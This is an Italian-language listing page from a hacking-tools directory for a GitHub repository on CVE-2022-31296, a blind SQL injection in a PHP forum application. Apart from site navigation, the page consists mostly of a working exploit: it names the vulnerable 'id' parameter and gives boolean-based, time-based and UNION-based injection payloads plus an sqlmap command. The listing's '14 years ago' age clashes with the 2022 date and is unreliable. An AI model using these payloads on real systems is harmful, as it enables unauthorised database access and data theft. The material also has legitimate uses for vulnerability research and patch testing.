Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-31296 — Sito di forum di discussione online 1.0 - Iniezione SQL cieca | Kitploit
Strumenti/GitHubGitHub/bigzooooz/cve-2022-31296
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubbigzooooz/cve-2022-31296

CVE-2022-31296

Sito di forum di discussione online 1.0 - Iniezione SQL cieca

Vedi Repository
14 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-31296

Sito di forum di discussione online 1.0 - Blind SQL Injection

Titolo Exploit: Sito di forum di discussione online 1.0 - Blind SQL Injection

Data: 2022-06-13

CVE: CVE-2022-31296

Autore Exploit: Abdulaziz Saad (@b4zb0z)

Homepage del fornitore: https://www.sourcecodester.com/

Link del software: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html

Versione: 1.0

Testato su: LAMP, Ubuntu

[#] Posizione della vulnerabilità: $_GET['id'] in /odfs/posts/view_post.php:3

root@kitploit:~
Parametro: id (GET)
root@kitploit:~
Tipo: boolean-based blind
Titolo: AND boolean-based blind - WHERE or HAVING clause
Payload: p=posts/view_post&id=1' AND 8036=8036 AND 'zhKq'='zhKq
root@kitploit:~
Tipo: time-based blind
root@kitploit:~
Titolo: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=posts/view_post&id=1' AND (SELECT 4593 FROM (SELECT(SLEEP(5)))Tmcg) AND 'qyDN'='qyDN
root@kitploit:~
Tipo: UNION query
root@kitploit:~
Titolo: Generic UNION query (NULL) - 12 columns
Payload: p=posts/view_post&id=-5399' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171767671,0x5a7272534b4b78734a53464e62454b52617876484e6670665570454454526a6963626f506e45776e,0x717a707671)-- -

[#] Sfruttamento con SQLMAP: sqlmap -u "http://localhost/odfs/?p=posts/view_post&id=1" --dbms=mysql

Scarica lo strumento